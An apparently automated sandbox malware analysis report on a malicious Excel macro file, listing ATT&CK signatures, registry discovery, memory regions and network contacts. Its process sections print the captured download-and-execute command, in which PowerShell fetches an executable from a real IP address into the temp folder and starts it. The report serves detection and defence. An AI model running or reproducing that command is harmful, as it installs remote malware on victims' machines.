Malware Analysis Report

2025-06-16 00:47

Sample ID 241107-1cpe4aygje
Target 1e5263b61db34399fd621201a9e3b0bc5e79f193911765414020ebc003813a66
SHA256 1e5263b61db34399fd621201a9e3b0bc5e79f193911765414020ebc003813a66
Tags
macro macro_on_action discovery execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

1e5263b61db34399fd621201a9e3b0bc5e79f193911765414020ebc003813a66

Threat Level: Known bad

The file 1e5263b61db34399fd621201a9e3b0bc5e79f193911765414020ebc003813a66 was found to be: Known bad.

Malicious Activity Summary

macro macro_on_action discovery execution

Process spawned unexpected child process

Suspicious Office macro

Blocklisted process makes network request

Office macro that triggers on suspicious action

Command and Scripting Interpreter: PowerShell

System Location Discovery: System Language Discovery

Office loads VBA resources, possible macro or embedded object present

Checks processor information in registry

Suspicious use of WriteProcessMemory

Suspicious use of SetWindowsHookEx

Suspicious behavior: EnumeratesProcesses

Enumerates system info in registry

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: AddClipboardFormatListener

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-07 21:30

Signatures

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Suspicious Office macro

macro
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-07 21:30

Reported

2024-11-07 21:31

Platform

win7-20240708-en

Max time kernel

26s

Max time network

28s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\1e5263b61db34399fd621201a9e3b0bc5e79f193911765414020ebc003813a66.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\1e5263b61db34399fd621201a9e3b0bc5e79f193911765414020ebc003813a66.xls

C:\Windows\SysWOW64\cmd.exe

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.88.104/fdhtepopdhd/sfbwurwfl/wyxbdf.exe','%TEMP%\JIOiodfhioIH.exe');Start-Process '%TEMP%\JIOiodfhioIH.exe';

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.88.104/fdhtepopdhd/sfbwurwfl/wyxbdf.exe','C:\Users\Admin\AppData\Local\Temp\JIOiodfhioIH.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\JIOiodfhioIH.exe';

Network

Country Destination Domain Proto
LV 92.63.88.104:80 tcp

Files

memory/1892-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/1892-1-0x00000000731ED000-0x00000000731F8000-memory.dmp

memory/1892-2-0x00000000004E0000-0x00000000005E0000-memory.dmp

memory/1892-5-0x00000000004E0000-0x00000000005E0000-memory.dmp

memory/1892-3-0x00000000004E0000-0x00000000005E0000-memory.dmp

memory/1892-18-0x00000000004E0000-0x00000000005E0000-memory.dmp

memory/1892-16-0x00000000004E0000-0x00000000005E0000-memory.dmp

memory/1892-17-0x00000000004E0000-0x00000000005E0000-memory.dmp

memory/1892-15-0x00000000004E0000-0x00000000005E0000-memory.dmp

memory/1892-12-0x00000000004E0000-0x00000000005E0000-memory.dmp

memory/1892-13-0x00000000004E0000-0x00000000005E0000-memory.dmp

memory/1892-11-0x00000000004E0000-0x00000000005E0000-memory.dmp

memory/1892-23-0x00000000004E0000-0x00000000005E0000-memory.dmp

memory/1892-10-0x00000000004E0000-0x00000000005E0000-memory.dmp

memory/1892-9-0x00000000004E0000-0x00000000005E0000-memory.dmp

memory/1892-7-0x00000000004E0000-0x00000000005E0000-memory.dmp

memory/1892-6-0x00000000004E0000-0x00000000005E0000-memory.dmp

memory/1892-4-0x00000000004E0000-0x00000000005E0000-memory.dmp

memory/1892-32-0x00000000004E0000-0x00000000005E0000-memory.dmp

memory/1892-21-0x00000000004E0000-0x00000000005E0000-memory.dmp

memory/1892-36-0x00000000004E0000-0x00000000005E0000-memory.dmp

memory/1892-35-0x00000000004E0000-0x00000000005E0000-memory.dmp

memory/1892-34-0x00000000004E0000-0x00000000005E0000-memory.dmp

memory/1892-33-0x00000000004E0000-0x00000000005E0000-memory.dmp

memory/1892-30-0x00000000004E0000-0x00000000005E0000-memory.dmp

memory/1892-29-0x00000000004E0000-0x00000000005E0000-memory.dmp

memory/1892-27-0x00000000004E0000-0x00000000005E0000-memory.dmp

memory/1892-28-0x00000000004E0000-0x00000000005E0000-memory.dmp

memory/1892-26-0x00000000004E0000-0x00000000005E0000-memory.dmp

memory/1892-25-0x00000000004E0000-0x00000000005E0000-memory.dmp

memory/1892-24-0x00000000004E0000-0x00000000005E0000-memory.dmp

memory/1892-20-0x00000000004E0000-0x00000000005E0000-memory.dmp

memory/1892-19-0x00000000004E0000-0x00000000005E0000-memory.dmp

memory/1892-39-0x00000000731ED000-0x00000000731F8000-memory.dmp

memory/1892-40-0x00000000004E0000-0x00000000005E0000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-07 21:30

Reported

2024-11-07 21:31

Platform

win10v2004-20241007-en

Max time kernel

49s

Max time network

51s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\1e5263b61db34399fd621201a9e3b0bc5e79f193911765414020ebc003813a66.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\cmd.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\1e5263b61db34399fd621201a9e3b0bc5e79f193911765414020ebc003813a66.xls"

C:\Windows\SYSTEM32\cmd.exe

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.88.104/fdhtepopdhd/sfbwurwfl/wyxbdf.exe','%TEMP%\JIOiodfhioIH.exe');Start-Process '%TEMP%\JIOiodfhioIH.exe';

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.88.104/fdhtepopdhd/sfbwurwfl/wyxbdf.exe','C:\Users\Admin\AppData\Local\Temp\JIOiodfhioIH.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\JIOiodfhioIH.exe';

Network

Country Destination Domain Proto
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
LV 92.63.88.104:80 tcp
US 8.8.8.8:53 roaming.officeapps.live.com udp
US 8.8.8.8:53 18.89.109.52.in-addr.arpa udp
GB 52.109.28.47:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 74.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 47.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 10.173.189.20.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 56.163.245.4.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp

Files

memory/3484-1-0x00007FF81C3CD000-0x00007FF81C3CE000-memory.dmp

memory/3484-0-0x00007FF7DC3B0000-0x00007FF7DC3C0000-memory.dmp

memory/3484-4-0x00007FF7DC3B0000-0x00007FF7DC3C0000-memory.dmp

memory/3484-3-0x00007FF7DC3B0000-0x00007FF7DC3C0000-memory.dmp

memory/3484-2-0x00007FF7DC3B0000-0x00007FF7DC3C0000-memory.dmp

memory/3484-5-0x00007FF7DC3B0000-0x00007FF7DC3C0000-memory.dmp

memory/3484-7-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

memory/3484-6-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

memory/3484-11-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

memory/3484-10-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

memory/3484-13-0x00007FF7DA1E0000-0x00007FF7DA1F0000-memory.dmp

memory/3484-12-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

memory/3484-9-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

memory/3484-8-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

memory/3484-15-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

memory/3484-17-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

memory/3484-16-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

memory/3484-19-0x00007FF7DA1E0000-0x00007FF7DA1F0000-memory.dmp

memory/3484-18-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

memory/3484-14-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

memory/3484-61-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dxn1bznj.gna.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2828-73-0x000001FDA2B50000-0x000001FDA2B72000-memory.dmp

memory/3484-80-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

memory/3484-81-0x00007FF81C3CD000-0x00007FF81C3CE000-memory.dmp

memory/3484-82-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

memory/3484-86-0x00007FF81C330000-0x00007FF81C525000-memory.dmp